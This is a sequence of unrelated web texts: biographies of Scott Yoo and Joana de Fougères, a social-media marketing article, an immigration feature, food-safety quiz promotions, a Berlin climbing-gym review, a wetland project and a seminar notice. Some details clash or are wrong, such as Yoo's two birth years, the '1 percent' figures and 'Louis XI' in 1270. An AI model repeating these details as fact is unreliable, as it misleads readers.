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Scott Yoo (25 de abril de 1971) es un director de orquesta y violinista estadounidense. Fue nombrado Director Titular y Director Artístico de la Orquesta Filarmónica de la Ciudad de México en 2016. Presenta la serie de televisión de PBS Now Hear This .

Primeros años
Yoo nació en Tokio en 1974. Su padre era coreano y su madre japonesa.

Criado en Glastonbury, Connecticut, Yoo comenzó a estudiar violín a la edad de tres años e interpretó el Concierto para violín de Mendelssohn con la Orquesta Sinfónica de Boston a la edad de 12 años. Estudió con Dorothy DeLay y Paul Kantor en la Juilliard School y ganó el Concurso Internacional de Violín Josef Gingold en Brasil.  Se matriculó en Harvard, donde estudió física después de romperse accidentalmente el dedo índice.

Carrera profesional
En 1994, Yoo participó en la fundación de la Orquesta de Cámara Metamorphosen, que dirigió en su serie de suscripción en el Jordan Hall de Boston y en gira. A los 26 años se convirtió en director asistente de la Orquesta Sinfónica de Dallas, y dirigió la Orquesta Sinfónica de San Francisco, la Orquesta Sinfónica de Colorado, la Orquesta Sinfónica de Indianápolis, la Orquesta Sinfónica de Utah y la Orquesta Sinfónica del Nuevo Mundo. Dirigió la Orquesta de Cámara de St Paul en el Festival Elliott Carter y en el debut de la orquesta en el Carnegie Hall. En Europa, dirigió la City of London Sinfonia, la Britten Sinfonia, la Orquesta Filarmónica de Radio Francia, el Ensemble orquestal de París, la Orquesta Sinfónica de Odense y la Orquesta Sinfónica Nacional de Estonia. En Asia, Yoo dirigió la Orquesta Sinfónica Yomiuri Nippon en Tokio y la Orquesta Filarmónica de Seúl y la Orquesta Filarmónica de Busan en Corea.

En 2002, Yoo se convirtió en director del Festival de Música de Verano de la Universidad de Colorado y director musical del Festival Mozart de San Luis Obispo en 2005, más tarde llamado Festival Mozaic.

En 2011, fundó el Medellín Festicámara, reuniendo a músicos desfavorecidos y artistas internacionales en Medellín, Colombia.

En 2016, Yoo fue elegido para convertirse en el Director Titular de la Orquesta Filarmónica de la Ciudad de México.

Yoo grabó para Bridge Records, New World, Naxos y Sony Classical. En 2019, grabó dos álbumes de conciertos para violonchelo con la Orquesta Sinfónica de Londres y la Royal Scottish National Orchestra para Sony Music.

En septiembre de 2019, Yoo se convirtió en presentador y productor ejecutivo de Now Hear This, un programa de televisión musical presentado por Great Performances, transmitido por la cadena de televisión pública estadounidense PBS. La serie se amplió a una tercera temporada en 2021. La primera temporada incluyó episodios sobre Vivaldi, Handel, Bach y Scarlatti, y la segunda temporada cubrió a Haydn, Schubert, Mozart y Beethoven. Now Hear This fue nominado a un premio Emmy en 2021.

En 2021, Yoo recibió un doctorado honorario de Colorado College.

Vida personal
Yoo está casado con la flautista Alice Dade, profesora de la Universidad de Misuri. Apareció en varios segmentos de la serie Now Hear This en PBS.

Discografía seleccionada

 French Cello Concertos, Hee-Young Lim, London Symphony Orchestra, Sony Classical, London 2018, CD.
 Dvorak and Enesco Cello Concertos, Bion Tsang, Royal Scottish National Orchestra, Sony Classical, Glasgow 2018, CD
 Earl Kim Orchestral Works, RTE National Symphony Orchestra, Naxos, Dublin 2004, CD
 Earl Kim Chamber Music, Metamorphosen Chamber Orchestra, New World Records, Boston 2001, CD
 Mark O'Connor American Seasons, Metamorphosen Chamber Orchestra, Sony Classical, Boston 2001, CD

Referencias

Enlaces externos

 Scott Yoo en AllMusic

Alumnado del Harvard College
Personas vivas
Violinistas clásicos de Estados Unidos
Directores de orquesta de Estados Unidos

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This is the Leader Guide for the Mystery of God Study Program. It contains the Facilitator Guide, the entire Study Guide, and the Answer Key.
You can watch the DVD and then probe more deeply into Father Barron's message by using the companion Study Guide, which is divided into sections that correspond to each part of Father's presentation. The Study Guide was written by Catholic author, Trent Horn, an apologist at Catholic Answers, compiled under the direction and approval of Father Barron. Trent has relevant experience in this area as one of his books is Answering Atheism: How to Make the Case for God with Logic and Charity.
Each section of the study guide provides a detailed commentary on the DVD and "Questions for Understanding" based on the DVD presentation, Scripture and the Catechism of the Catholic Church. Each section also includes "Questions for Reflection" that help you connect the material to your own life and experience.
For group study, you can present the program in seven 90-minute sessions. Each session includes DVD viewing and small group discussion of Study Guide questions. Participants read the commentary in the study guide and prepare the questions before the small group discussion. This preparation can be accomplished either before or after they view the DVD, as the Commentary in each lesson is very detailed.
The Leader's Kit provides essential resources for group discussion leaders, including the DVDs, lessons, facilitator guide, answer key and prayer cards.


Social Media Explorer: Does Your Business Really Need Social Media?
As a business owner, you understand the importance of online marketing. In 2017, 54% of people searched for a local business at least once a month. It's safe to say that at least some percentage of your target audience is using the internet to find you. But what about social media? It's been drilled into your head that your business should have at least one social media account. Is social media right for every business?
It's true that most businesses can benefit from being active on social media, but most is not all. There's an exception to every rule, and there are some businesses that just don't see a return on their time investment with Facebook, Twitter and the like.
The vast majority of businesses, when done properly, will see increased traffic and sales from social media use, but there are some instances when it's just not necessary.
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Does your target audience even use social media? If not, you may be wasting your time creating accounts and actively posting updates.
If your target audience is on social media, which platforms are they using? Maybe potential customers or clients only frequent one or two networks. Knowing where your target audience is will allow you to focus your time and resources in the right places.
A good example of this is the law firm Moore and Hedges. The firm, which specializes in Social Security disability and veteran's benefits, only has a Facebook account. Why? Because that's the preferred social network of their target audience. According to Hootsuite, Facebook is most popular with people aged 25-49.
You'll need to do some research to determine if your target audience is using social media, but if they aren't, you may not need to invest as much time and resources into social media marketing.
Virtually every business in every industry can find something to say on social media. Whether it's an educational video, engaging article or an update on what your office is up to, nearly every business can find content to publish on social media platforms.
But will you eventually run out of content ideas? If you don't think you'll have something new and interesting to say weeks or months from now, you may not want to bother creating an account.
Some business owners just don't have the time and patience to create social media accounts and post actively on them. If you think you'll fall into this category, it may just be a waste of time to create accounts that you'll never use.
If you answered "no" to all three of these questions, you may just assume that you should ditch social media altogether. If your target audience isn't using social media, you might be right. But if you just don't have the time or don't know what to say, there is a solution: social media management. If your budget allows, you can hire someone to manage your accounts so that you can still get the traffic and sales benefits without having to invest your personal time.
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Fardeen Chowdhury has a bachelor's and a master's degree from an American university. He owns his own business, has clients, invests his own money into the American economy, has a social security number, pays taxes and speaks English like a native. So why can't he get a damn job?
"I don't know whether all that is going to be up in smoke in a couple months," he laments.
Chowdhury, a 28 year-old Bangladeshi who came to Worcester in 2002 to attend Clark University, is the owner and founder of Cool Hat Web Designs, which, due to his immigrant status, has been relegated to doing pro-bono work for the past six months until immigration says he's legally allowed to make a profit. To keep the immigration gods happy, however, he has to keep investing money into the U.S. economy via his company that doesn't provide income – all the while showing proof he has the intent to return home.
Sound confusing? It doesn't make sense to him either.
"The lesson here is that the more I'm spending, the better it looks," he says, noting that the way to win over the U.S. Customs and Immigration Services (USCIS) flies in the face of everything he learned while getting his MBA at Clark: invest little and get a high return.
The United States has a total population of 310 million. According to the Center for Immigration Studies, as of 2007 legal immigrants account for 38 million. By contrast, this year the Associated Press reported that illegal immigrants equal nearly 12 million – less than 1 percent of the population.
Despite these numbers, any conversation regarding immigration ultimately singles out those who are undocumented. Proposed solutions, ranging from amnesty to building a wall on the border of the United States and Mexico, only concern illegal immigration.
"It's absolutely an underargued area of public debate," says Worcester immigration lawyer Randy Feldman.
The lack of discussion regarding legal immigration has created a huge information gap. The legal immigration system is confusing, bureaucratic, equal parts lengthy and impatient and often arbitrary. Quotas stretch and shrink, but rarely mirror the U.S. economy.
Complicating matters further for legal immigrants, most Americans have no idea how the system works, and American businesses don't understand how to hire them.
Chowdhury has been trying to find another job outside of his Web site design company; something a little more stable, both for his income and his visa. But the lack of understanding when it comes to American immigration laws has affected his job search. Companies often believe an immigrant's work status is on the shoulders of the immigrant, or that the immigrant will be able to do something to make it easier for the company to hire them. That's not the case.
It's estimated that during the past few years, on average of about 600,000 legal immigrants first come to the United States every year on an F-1 visa, also known as a student visa, to attend college. But even with schools, money and paperwork on their side, many prospective students still face a mountain of problems.
First, during interviews with the U.S. consulate in their home country, students have to prove they have the finances to pay for at least that first year of college. Then they have to successfully argue that it's worth them leaving their home country for schooling. They also have to show that they have the intent to return to their home country at the termination of their studies.
Even then, there's a large amount of the process that's out of the student's hands.
Chowdhury found this out in 2002 as he readied his visa in preparation for starting school. The problem was he was among the first batch of international students to come to the United States after 9/11. His visa was postponed because of tightened security, and he ended up missing the entire first semester of his freshman year.
"We don't have many denied, but we do have a number of long delays," says Tom Thomsen, director of the office of international students and scholars at Worcester Polytechnic Institute. After 9/11, it could take up to four months for a student to obtain an F-1, he recalls. And if a student wants to study in a "sensitive field," extensive background checks and security clearances contribute to the wait.
When students are denied, Thomsen says, nine times out of 10, it's because they can't prove their immigrant intent – "that they still have ties to their home country." The other 1 percent is usually because of their level of English proficiency. Because all this has to be proven before they've set foot on the campus, "it's hard for schools to write and defend them because they don't know the student," Thomsen notes.
Just the process of applying to U.S. schools is daunting enough. Thomsen agrees that it helps when a potential student's family has money to spend on traveling to consulates (since there's no U.S. consulate in Iran, for example, Iranians have to travel to Cyprus if they want to study in America) and paying visa fees, but there are also a number of tests that American schools require that other countries don't, like the SATs and GRE.
In some cases, those tests are more of a deterrent than the cost of college. "Students perceive there are too many hoops to come to the U.S.," he says.
But once a student arrives on an F-1 visa, they face other restrictions. Most pressing is that they aren't allowed to work any off-campus job (read: any job where they would actually make money).
"Students should have the option to work anywhere," declares Keshav Parvathaneni. Parvathaneni came from India to attend the University of Bridgeport. He now lives in Shrewsbury and is the owner of Mercury Innovations, an electronic medical records firm.
After Chowdhury graduated with a bachelor's in economics in 2006, his F-1 allowed for up to 12 months of Optional Practical Training (OPT). It's not a work visa, so much as a permit that allowed him get work experience in the States – but only in a field related to his studies. At the end of those 12 months, if he had nothing else lined up, "off I go," as he succinctly lays it out.
Admitting that he had "limited options" in finding an economics job near Worcester, he decided to return to Clark for graduate school for business administration, and graduated in May of 2009, just in time for the economy to tank. Finding a job was almost out of the question.
Parvathaneni took a different track. He bounced between companies, working on an H-1B visa.
The other issue with the H-1B is, if that job is lost – either through firing, lay-offs or quitting – the visa holder only has 30 days to find another job.
Right now, that would be devastating to anyone wanting to stay in the United States. "In this economy, what are your options?" asks Parvathaneni, who knows horror stories of people who bought a house and a car, and lost their jobs. Then they disappeared.
Thomsen says WPI helps graduates who want to stay in America appeal to employers. Some of that involves educating American companies.
"There's this myth out there that if an employer wants to sponsor someone on H-1B, then they have to prove that they couldn't hire a U.S. citizen for a job," he says. But, he adds, that's only the case when that employer wants to sponsor them for a green card.
WPI talks to companies about the visa process, and when legal immigrants can be hired with a need for sponsorship, and when they can't. They work with their international students on job searching strategies and how to talk about their visa status with potential employers – helping to avoid that "awkward date" conversation.
Thomsen says about 65 to 70 percent of international WPI graduates stay in the United States for their 12 months of OTP, but it's hard to follow them beyond that, so they're unsure of what percentage are able to stay in the United States.
Martin Stewart came to America permanently from Scotland about ten years ago, but only because he was threatened that if he left, he'd never be allowed back.
Already flying back and forth between the US and his native Scotland a few times a year to visit his American girlfriend, on what ended up being his last trip to the US before becoming legal here, US immigration officials in Dublin detained him before a flight, told him that he'd been "traveling too much" and said upon his return to Scotland that he wouldn't be able to fly back to America.
Two years after marrying his then-girlfriend, Stewart applied for his green card (which he now has). But for a time he was living in a limbo status.
"My back was kind of against the wall," he says.
According to him, it took three tries just to get USCIS to accept his green card paperwork, and it took a little bit of know-how just to get an interview. For example, anyone looking to get their paperwork processed at the JFK building in Boston should get there two hours before they open, and make sure they line up in front of the right entrance.
Because he already had his green card when he applied for his current job at Cybex, the company didn't have to sponsor his visa. But that doesn't mean he hasn't had issues dealing with immigration.
"Dealing with USCIS is definitely not a pleasant experience," he says, finding each small part of process unfriendly, over-complicated and even patronizing.
Stewart applied for citizenship about three years ago, but expects to get it in a couple months. His motivation to do so is in part a little different than most.
Aside from not having a vote on who gets to tax him and how, he wants a life without immigration hassles.
What's interesting about any debate on legal immigration is that conservatives and liberals tend to agree that the system needs reform.
"Overall, the levels of legal immigration are too high, but how they're picked makes no sense," says Ira Melman, a spokesman for right-leaning nonprofit Federation for American Immigration Reform (FAIR).
Melman says about one million immigrants are admitted every year to the United States – a number he calls "excessive" – and 70 to 75 percent of them are allowed in because they're immediate family members of legals already in the country.
"Every time you let someone in, the line gets longer with relatives," he says.
"Business immigration is still a very small part of the immigration system," agrees Feldman. There are no caps on how many immediate family members can come in (parents, offspring), but there are limits on other relationships.
Both Melman and Feldman say the best approach would be to look at the country as a whole, rather than how people are related.
"(We should) select people based on objective assignment of what the country needs and who best to fulfill those needs," says Melman.
But the United States had a chance to do this, most recently in 2008's McCain-Kennedy immigration reform act.
Even though the measure had moderate bipartisan support, it died in the legislature.
Feldman would like to see an improved guest-worker program. One that is year-round, as opposed to seasonal, and provides jobs based on recent economic data. Creating a better guest-worker system, argues Feldman, would encourage immigrants looking for labor work to play by the rules. As it stands now, the current legal immigration system really only stands for professional workers who have at least a bachelor's degree.
Seasonal agricultural visas, the H-2A and H-2B, account for very little of legal immigrants in the United States. Workers sponsored on H-1B visas cannot perform unskilled labor.
Anyone who talks about successful immigration reform ultimately uses Canada and Australia as models. Both countries use a points system for allowing and naturalizing immigrants. For example, a person would get a certain number of points for speaking English fluently, another number of points for a higher education degree, etc.
So if there's this much consensus among ideologies that usually find every reason to disagree, what's holding up a smarter legal immigration policy?
Much of the fighting is on the left. Immigration lawyers disagree with liberal politicians, and private-sector unions are divided as well.
"We want the whole thing taken care of at once," says Feldman, meaning that if reforms are made for legal immigrants, reforms should be made for illegal immigrants as well. There's fear that if only legal immigration reform is tackled, nothing will be done for the other 12 million people who are here illegally.
But Feldman says another round of immigration legislation is coming.
Any ideas that legal and illegal immigrants should just "play by the rules" and get their green cards or apply for citizenship shows just how little the American public knows about what it actually takes to receive those honors. Firstly, in the United States there's currently no avenue for illegal immigrants to become legal. Secondly, getting a green card requires a lot of bureaucratic savvy and some major employment luck. Thirdly, for some, the process can take the better part of a decade.
Even though Parvathaneni has a very successful employment record in the United States, he got his green card when he married his wife, who had her own.
Feldman says the waiting lines for legal immigrants generally take about four-and-a-half years. It's longer for people coming from Asian countries. Reforming immigration means starting over with a system for temporary immigrants that works, and a system that takes less than six years for immigrants who want to stay in the United States permanently.
"The green card system is broken in many ways," Thomsen says, arguing that the country quotas are arbitrary since unfulfilled quotas are shuffled around to countries with over-satisfied quotas.
"People ask about (me) becoming a citizen," says Chowdhury, pointing out that it's another lengthy process. To just take the test, you need five years of permanent residency in the country (which is, to say, a green card), which you only get once you've found a company to hire and sponsor you for that long.
"If a person can prove that they've legally been in the country for a certain amount of time, they should be able to request an interview with USCIS," he says, hoping that that would streamline visa applications and the tract towards becoming, at the least, a permanent resident.
Chowdhury has had a maddening last couple of months. His B-1 – the visitor/business visa – was denied because the United States said he didn't show temporary intent. After an appeal, USCIS gave him the visa, but with only a month remaining on it.
He also filed for his E-2 visa, but one that also requires proof that he doesn't plan to stay in the country. He's currently waiting to hear back regarding that.
With one week left on his B-1, he was offered a job at a Boston IT firm. Just as it looked like he was going to be hired by a company he wanted to work for and that he thought had sponsored other foreign nationals, their salary offer was less than what is required by the H-1B visa. They couldn't afford to bump it up.
"They do that to protect U.S. workers," explains Feldman. Chowdhury himself understands the rules, and that it safeguards employees from becoming cheap labor. But he was still peeved that the company didn't do its research before offering him the job.
So now Chowdhury's status rests on his design firm. But even then there are concerns that his  venture won't be looked at as favorably as an investment in, say, a restaurant. Indeed, it's up to some person with a rubber stamp in a far away office to make the decision if he stays or goes.
He's one of the luckier ones. "My family has some money to spend. English isn't an issue for me. I'm creating business, hiring Americans. I can only imagine what it's like for others," he says.


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HorizonScan Hazard Challenge: Quiz 8
So … a guy walks into a bar and says, "What sort of quality and safety issues do I need to worry about in all the beer I'm about to drink?" Will you have the answer?
Hazard Question #8 – What have been the most common safety/quality issues reported in beer over the past 10 years?
Hint: The answer to the guy's question is NOT "If you drink enough beer you won't have any more worries." But it's super easy to find the correct answers in HorizonScan by whipping out your phone, logging into HorizonScan, doing a search on beer, then entering a 10 year date range in the bar graph summary. You'll have your answer in less than 30 seconds. Sharing the results may be a great way to get that guy to go somewhere else to drink.
HorizonScan also covers wines, spirits and liquors, etc., plus juices, concentrates, soft drinks, mineral water and a host of other beverages, not to mention the peanuts and pretzels on the bar, all the ingredients in the pizza you just ordered, the greens in your salad, the oils and spices in the dressing … you get the idea.
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Figure 1. HorizonScan Overview
Answer to last week's Quiz – Since 1999 HorizonScan has recorded 194 reports of Salmonella Agona, spread over a wide range of food products. What food group has accounted for 50% of those reports?
For sure, the most alarming occurrences of Salmonella Agona over the past occurred in infant food and formula. But Feedstuff accounted for 97 of the cases reported since 1999, with Poultry meat and products a distant second. The chart below breaks down all 194 reports.
Figure 2. Salmonella Agona Occurrences since 1999.
If you've been keeping up with our previous Quizzes you know that you can search for hundreds of specific food commodities in HorizonScan and see what types of issues have been affecting them over the past 15-20 years. This week we're going to flip the script and look for a specific hazard – Salmonella Agona – and see how much you know about it.
Hazard Question #7 – Since 1999 HorizonScan has recorded 194 reports of Salmonella Agona, spread over a wide range of food products. What food group has accounted for 50% of those reports?
Hint: Okay, we know this is a toughie and even highly experienced QA managers and food scientists may be hard pressed to come up with the answer. But if you had to know, how would you figure it out? If you had several hours to burn on Google searches you might be able to get some clues, but with HorizonScan you could have the answer in less than a minute by doing a keyword search on "agona" then sorting the 194 results by Commodity Group. The answer would jump right off the page.
With more than 150,000 records dating back as far as 1999, HorizonScan provides an ocean of valuable data on food quality and safety issues that have been gathered and updated daily from more than 120 reliable sources. Its user-friendly interface makes it simple to search the data by commodity, country of origin, hazard type, date, supplier name, etc., or you can do keyword or combination word searches for almost any terms related to food quality. For example, a search on "agona AND infant" will bring up the thirteen cases where Salmonella Agona was found in infant formula or food.
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Figure 1. HorizonScan Overview.
Answer to last week's Quiz – Over the past 20 years, what was the second most reported issue in chicken meat? What about over the past 5 years? The past 1 year?
We know that Salmonella is far and away the #1 culprit when it comes to adulterants in chicken meat. If we combine all types of Salmonella (the first and second bars in the three graphs below) we see that the second biggest issue over the past 20 years has been Veterinary Drug residues. So, that must mean we should make drug detection one of our top priorities, right? Well … not necessarily.
If you look at the second chart you'll see that in the past 5 years Veterinary Drugs don't even make our top 5 hazard list anymore. Instead, the #2 issue during over the past 5 years has been Campylobacter. In other words, there were a lot of Vet Drug reports 5-20 years ago, but not so many since then.
And if you look at the third chart you'll see that in the past 1 year Listeria has elbowed its way into second place, after the two Salmonella categories.
Conclusion: While it's true that Veterinary Drugs have historically been a problem in chicken meat, that doesn't necessarily mean you should allocate much of your testing and preventive control budget to that issue. Why? Because there is scant evidence that it's currently a significant issue. While I would never discourage anyone from testing for any particular adulterant, I would say that if you're looking to optimize your budget and your resources, it pays to use HorizonScan to see what the actual threats are right now and to adapt your budget to that current reality. Otherwise you may waste your time and money chasing ghosts from the past!
Figure 2. Issues in Chicken Meat: Past 1, 5 and 20 Years
We may never know which came first, the chicken or the egg, but we're going to look at both of them over the next two weeks. At the risk of inciting a philosophical debate, we are choosing to start with eggs. Did you know that production of eggs has more than doubled since 1990, with nearly 1.4 Trillion eggs being produced in 2018? That equates to over 175 eggs per human being per year. A problem in eggs could impact a lot of people!
Hazard Question #5 – Historically, Salmonella has been the most frequently reported issue in eggs, but from July through November 2017 another issue dominated the industry and triggered massive recalls, especially in Europe. What was it?
Hint: If you had access to HorizonScan you could find the answer in a matter of seconds by doing a search on eggs, entering the date range described above in the chart filter, then clicking on the #1 issue shown in the resulting bar chart. We'll show you what that looks like next week when we provide the answer.
The good news is that according to HorizonScan, no inspection agency in the world has reported a recurrence of this issue since March of 2018, which suggests that even though it was pretty catastrophic when it happened back in 2017, it's probably no longer an issue that you need to spend a lot of money and resources controlling. That's the beauty of having access to the accurate data contained in HorizonScan: you can efficiently target your budget to focus on the issues that are genuine threats to the supply chain right now, and not waste your resources controlling issues that may no longer pose a significant threat, or being unaware of new issues that do.
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Answer to last week's Quiz – What are the most commonly reported hazards in Cashews, Macadamias and Pine Nuts?
While Aflatoxins are far and away the most commonly reported hazard in tree nuts as a group, Salmonella has historically been the most commonly reported issue for these three nuts. (See HorizonScan summary charts below.) The good news is that unlike Aflatoxins, Salmonella can easily be mitigated with a process control such as a thermal kill step.
Figure 2. Most commonly reported Hazards in Cashews, Macadamias and Pine Nuts
No matter what your dietary preferences are – Vegan or Paleo on the one hand, or Snickers and Baby Ruth bars on the other – you've gotta love those nuts! Unfortunately, some of us are allergic to them. The presence of undeclared nuts in food products is a commonly reported issue in HorizonScan. But even for those who aren't allergic to nuts, there are still plenty of things to worry about. The most commonly reported risk in both tree and ground nuts is excess levels of Aflatoxins, which can be very dangerous and health-threatening. But there are exceptions to this, and these are the subject of today's quiz.
Hazard Question #4 – What are the most commonly reported hazards in Cashews, Macadamias and Pine Nuts?
Hint: It's the same for all three, but it's not Aflatoxins. And if you had HorizonScan you could know the answers in less than ten seconds each by simply entering each nut in the search tool, clicking a button and then viewing the hazard summary chart that pops up on the results page.
When it comes to analyzing hazards in nuts (or any food group) it's not the case that "one size fits all." Sometimes similar food products are susceptible to unique biological, chemical, or physical threats that need to be considered as part of your raw materials risk assessment. Stop wasting your time trying to identify supply chain hazards with Google searches or clunky government databases. With HorizonScan, all this information is right at your fingertips. It's totally nuts how simple it is!
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Answer to last week's Quiz – Which food category has had the most fraud incident reports over the past 20 years?
Most fraud is economically motivated so It should come as no surprise that Spices have historically been a favorite target of fraudsters since their high prices can make it quite lucrative to add a cheap filler or substitute a similar but inferior substance. Sometimes the impact of food fraud goes beyond pure economics and becomes a safety issue, too, as was the case in 2015 when ground up peanuts and shells were discovered in ground cumin, triggering a nationwide recall in the USA.
Figure 2. Fraud Incident Reports by Category
This week's question deals with pepper. Did you know that for centuries pepper has been considered the "King of Spices?" It was one of the very first items of commerce between India and Europe. It was so valuable that entire expeditions were made in hopes of transporting more back to Europe as quickly as possible.
Hazard Question #2 – Which country of origin has been cited by global inspection agencies the most times in the past year for adulteration issues in pepper?
Hint: With HorizonScan you could find the answer to today's quiz in less than ten seconds by doing a search on "pepper – black, pink or white" and then selecting the one-year country of origin bar chart on the results page.
Food risks for a particular ingredient can vary greatly from country to country. HorizonScan can show you the most likely risks to your products based on where each of its ingredients are sourced. To request updated pricing information or a free demo fill out this contact form.
This week's question deals with recalls, every food company's worst nightmare. All types of recalls are reported in HorizonScan, making it easy to see which issues are most likely to threaten your products. We'll provide the answer to today's question in next week's Challenge.
Hazard Question #1 – What hazard category was the Number One cause of food recalls in 2019?
Hint: With HorizonScan you could find the answer to today's quiz in half a minute by doing a keyword search on the word "recall" from January 1 to Dec 31, 2019 and then sorting the results by hazard category.
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Q3 Hazard Beat: Nuts, Nut Products and Seeds
The following infographic is a snapshot of the hazard trends in nuts, nut products and seeds from Q3 2019. The information has been pulled from the HorizonScan quarterly report, which summarizes recent global adulteration trends using data gathered from more than 120 reliable sources worldwide. For the past several weeks, Food Safety Tech has provided readers with hazard trends from various food categories included in this report. This week's hazard snapshot concludes the series.
2019 Data from HorizonScan by FeraScience, Ltd.
View last week's hazards in Milk & Dairy Products.
Q3 Hazard Beat: Meat and Meat Products Trends
The following infographic is a snapshot of the hazard trends in meat and meat products from Q3 2019. The information has been pulled from the HorizonScan quarterly report, which summarizes recent global adulteration trends using data gathered from more than 120 reliable sources worldwide. Over the next several weeks, Food Safety Tech will provide readers with hazard trends from various food categories included in this report.
View last week's hazards in poultry.
Q3 Hazard Beat: Poultry and Poultry Products Trends
The following infographic is a snapshot of the hazard trends in poultry and poultry products from Q3 2019. The information has been pulled from the HorizonScan quarterly report, which summarizes recent global adulteration trends using data gathered from more than 120 reliable sources worldwide. Over the next several weeks, Food Safety Tech will provide readers with hazard trends from various food categories included in this report.


Pulling Plastic in Berlin: The Best Indoor and "Outdoor" Climbing in the City – Coffee. Tape. Climb.
Berlin isn't known for its fantastic highballs, limestone tufas, splitter hand cracks, or really any other type of outdoor climbing beyond a bit of illegal buildering. There isn't any good climbing directly outside of the city either. The Frankenjura is over four hours away by car, the Alps are a 10-hour bus ride south, and a two-hour flight (plus at least five hours of waiting in airports) will get you to Fontainebleau–it's about 10.5 hours away by car.
Located just southeast of the city center in a progressive, street-art-filled neighborhood and less than a ten-minute stroll from the Ostkreuz Ring-Bahn station, der Kegel is easy to get to and interesting aesthetically. However, the graffiti art and multiple vegan café options in and around the gym are just a bonus. The site includes indoor and covered outdoor bouldering, a short outdoor lead wall, a training room with weights, hangboards, rings, and yoga mats, a climbing-specific training room where one can invent one's own project-specific problems, and, of course, a café with homemade snacks, cheap but delicious espresso, and a small wine and beer selection.
What more could you ask for? Well, it's also the least expensive gym day-pass-wise in the city. The Monday to Friday early bird special (you must arrive before 3 p.m., but you can stay as long as you'd like) is only €4 for adults and students–€ 2cheaper than any other gym in the city–and the normal adult day price is €7, while students pay €5.50 (€0.50 less than other gyms' early bird specials).
More reasons to go: The atmosphere is friendly and relaxed. You can go to boulder alone and jump in on another group's projecting session or bring a few friends to climb and still make a new acquaintance or two. With two sections of outdoor bouldering, two indoor bouldering rooms, and the small lead wall–really a cylinder–I've never had trouble with overcrowding, though I'd avoid going during the kids' climbing lessons weekdays from 4:30 to 6:30 p.m. There is indoor and outdoor cafe seating, so you can take snack, chat, and relaxation breaks when you need them, and, if you're into overall strength and preventing muscle imbalances (which you should be), you don't have to leave der Kegel to lift, stretch out with a few yoga poses, or complete a quick gymnastic ring workout post climbing.
The color-coded bouldering grading system, using the Font French scale of course.
As for the route setting: The movement is varied, interesting, and intuitive. There are problems in a variety of styles–slabs, roofs, overhangs, slopers, crimps, pinches, pockets, etc.–at every level from V0- to V10+, and the gym uses a simple color system (see photo left) to mark the grades. The walls are reset often, one room each week, and der Kegel has the most forgiving padded floors I've bouldered over in the city. You can also top out every problem in the main indoor bouldering room.
While it's not the most pristine gym in the city, Boulderklub Kreuzberg feels more modern with its open layout, der Kegel is the most friendly, relaxed, and fun gym I've found yet. The staff are welcoming and speak English, the facility has street-art-esque designs and murals painted on the ceilings and non-climbing walls, which makes lying on your back in defeat less terrible and helps perpetuate the relaxed vibe. And, honestly, if I have to climb on plastic, I'd rather do it in a gym with character where on nice summer days I can climb "outside" with the occasional breeze cooling my sweaty forearms than anywhere else inside in the city.
End your climbing session with a short strength session or core workout.
…Or visit the café for a recovery snack and cold beer instead.


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WETLAND INTERVENTIONS
Community Centre at Tarahunise Village, Near Bengaluru, Karnataka
The Tarahunise village is quiet and tucked away at 65 Km from shadows of the mega city, Bengaluru, Karnataka. The village is 4.83 Sq Km in size and houses 432 families. The village has a school, a hospital, a post office and lake. The 432 families of Tarahunise cumulatively occupy about 1.2 Sqm km of built area. The rest of the spatial emplacement is largely farms, roads, public buildings and a dried up lake of 35.4 acres.
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Founder, Woven Design Collective
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The ville's quiet and self-sufficiency is marred by the impending woes of the near future – its' depleting water levels and the issue of water security in the near future. The village largely depends on its paddy farms and fields for its economic integrity. With the lake dried up since the past 35 years and with plummeting levels of borewells, farming is seemingly becoming a less pursued occupation and is slowly triggering migration into the nearby city.
The BBMP plans to send about 5MLD treated water from the city. Therefore the solution proposed focuses on using this 5 MLD and transforming the lake into a wetland and introduce a wetland resource community center by the shores. This project would be the first of its kind in India. The resource center would engage the community from an economic, social and ecological standpoint.
The solution proposed reflects the need of the hour and a template that can be used in other rural contexts with a dried up water body. The community resource center with an amphitheatre would help people to engage in the lake activities while providing a constant source of water.


On the 24th of October Andrei Rodin, Senior Research Fellow of the International Laboratory for Logic, Linguistics and Formal Philosophy, made a report "Geometrical Logic versus Logical Geometry: the Case of Univalent Foundations" on the 48th session of theoretical seminar "Formal Philosophy".
Logic and Geometry, touch upon the widely discussed issue of bounds of Logic in this context, and finally focus on the Univalent Foundations as a current episode of this continuing story."
shows a way of thinking about UF intuitively (but covers only pedestrian intuitions of a layman, not highly refined intuitions of workers in the Algebraic Geometry, which actually motivated the subject).


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Joana de Fougères (em francês: Jeanne; m. após 1273) foi suo jure Senhora de Fougères, e condessa consorte de La Marche e de Angoulême como esposa de Hugo XII de Lusignan, Conde de La Marche e Conde de Angoulême. Joana foi a responsável pelas adições e fortificações do Castelo de Fougères, o que proporcionou maior estabilidade à cidade.

Família
Seus avós paternos eram Godofredo, senhor de Fougères e Matilde de Porhoet. Seus avós maternos eram Amaury I, senhor de Craon e Joana des Roches.

Ela apenas teve um irmão, João, que nasceu e morreu no mesmo dia, em 6 de dezembro de 1230. Assim, Joana se tornou herdeira do pai. Após sua morte em 14 de fevereiro de 1256, se tornou Senhora de Fougères.

Casamento
Joana e Hugo XII se casaram em 29 de janeiro de 1254, em Fougères. Ele era filho de Hugo XI de Lusignan e de Iolanda da Bretanha, suo jure condessa de Penthrièvre e de Porhoet.

Seus filhos foram:
 Iolanda de Lusignan (24 de março de 1257 - setembro de 1314) suo jure condessa de La Marche, foi casada duas vezes e teve filhos;
 Hugo XIII de Lusignan (25 de junho de 1259 – 1 de novembro de 1303), conde de La Marche e de Angoulême, marido de Beatriz de Borgonha, senhora de Grignon, mas não teve filhos;
 Guy de Lusignan, Conde de Angoulême (c. 1260/1265 - 24 de setembro/28 de novembro de 1308), senhor de Couhe e de Peyrat, não teve esposa ou filhos;
 Isabel de Lusignan (m. após 4 de junho de 1309), foi casada com João de Vesci, e depois se tornou freira na Abadia de Fontevraud;
 Joana de Lusignan (m. após 18 de abril de 1323), suo jure senhora de Couche e Peyrat, casada duas vezes. Ela era a mãe de Joana de Geneville, 2.° Baronesa Geneville, esposa de Rogério Mortimer, 1.º Conde de March, o famoso amante da rainha Isabel de França, rainha de Inglaterra, a esposa do rei Eduardo II;
 Maria de Lusignan, esposa de Estêvão II, conde de Sancerra. Sem filhos.

Logo após 25 de agosto de 1270, Joana se tornou viúva com a morte de Hugo na Oitava Cruzada, lutando pelo rei Luís XI de França.

Ela morreu depois de 1273, e foi enterrada em Sauvigny.

Nobres da França
Mulheres da França medieval
Nascidos no século XIII
